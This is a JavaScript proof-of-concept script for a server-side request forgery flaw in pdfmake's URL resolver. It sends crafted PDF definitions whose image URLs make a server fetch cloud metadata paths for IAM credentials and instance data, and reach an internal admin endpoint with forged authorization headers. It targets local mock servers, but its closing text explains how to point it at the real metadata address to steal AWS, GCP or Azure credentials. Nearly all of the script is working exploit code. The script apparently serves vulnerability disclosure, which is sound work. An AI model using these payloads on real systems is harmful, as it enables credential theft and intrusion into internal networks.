/** * SSRF Attack Script for pdfmake * * Demonstrates Server-Side Request Forgery via docDefinition URLs * Target: pdfmake URLResolver.js - zero URL validation */ const VULNERABLE_SERVER = 'http://127.0.0.1:3000'; const METADATA_SERVER = 'http://127.0.0.1:8888'; // Attack payloads const attacks = [ { name: 'AWS Metadata - Credential Theft', description: 'Steal IAM role credentials from EC2 instance', payload: { content: [{ text: 'SSRF PoC', style: 'header' }], styles: { header: { fontSize: 18 } }, images: { // This URL will be fetched by the server! stolen_creds: `${METADATA_SERVER}/latest/meta-data/iam/security-credentials/vulnerable-ec2-role` } } }, { name: 'AWS Metadata - Instance Discovery', description: 'Enumerate instance metadata', payload: { content: ['Metadata Enumeration'], images: { instance_id: `${METADATA_SERVER}/latest/meta-data/instance-id`, local_ip: `${METADATA_SERVER}/latest/meta-data/local-ipv4`, public_ip: `${METADATA_SERVER}/latest/meta-data/public-ipv4` } } }, { name: 'Custom Headers - Auth Bypass', description: 'SSRF with custom authentication headers', payload: { content: ['Auth Bypass Test'], images: { // pdfmake supports custom headers per URL! internal_api: { url: `${METADATA_SERVER}/internal/admin`, headers: { 'X-Internal-Auth': 'trusted-service', 'Authorization': 'Bearer internal-token-12345' } } } } } ]; // Execute attack async function executeAttack(attack) { console.log(`\n${'='.repeat(60)}`); console.log(`ATTACK: ${attack.name}`); console.log(`DESC: ${attack.description}`); console.log('='.repeat(60)); console.log('\n[*] Payload:'); console.log(JSON.stringify(attack.payload, null, 2)); console.log('\n[*] Sending to vulnerable server...'); try { const response = await fetch(`${VULNERABLE_SERVER}/api/generate-pdf`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(attack.payload) }); const status = response.status; console.log(`[*] Response status: ${status}`); if (response.ok) { console.log('[+] SUCCESS - PDF generated (SSRF triggered!)'); console.log('[+] Check the metadata server logs for proof of SSRF'); } else { const error = await response.text(); console.log(`[-] Server error: ${error.substring(0, 200)}`); console.log('[!] Note: SSRF may still have been triggered before error!'); } } catch (error) { console.log(`[-] Connection error: ${error.message}`); console.log('[!] Is the vulnerable server running on port 3000?'); } } // Main async function main() { console.log(` ╔═══════════════════════════════════════════════════════════════╗ ║ PDFMAKE SSRF VULNERABILITY - PROOF OF CONCEPT ║ ╠═══════════════════════════════════════════════════════════════╣ ║ Target: pdfmake URLResolver.js ║ ║ Issue: Zero URL validation in fetch() ║ ║ Impact: AWS metadata theft, internal network access ║ ╚═══════════════════════════════════════════════════════════════╝ `); console.log('[*] Prerequisites:'); console.log(' 1. Mock metadata server running on port 8888'); console.log(' 2. Vulnerable server running on port 3000'); console.log(''); // Run first attack (credential theft) as primary demo await executeAttack(attacks[0]); console.log(`\n${'='.repeat(60)}`); console.log('VERIFICATION'); console.log('='.repeat(60)); console.log(` If successful, you should see in the METADATA SERVER terminal: [METADATA] >>> CREDENTIALS LEAKED! <<< This proves the vulnerable server made an outbound request to our controlled endpoint - a classic SSRF vulnerability. In a real attack scenario: - Replace ${METADATA_SERVER} with http://169.254.169.254 - Steal actual AWS/GCP/Azure credentials - Access internal services, databases, admin panels `); } main().catch(console.error);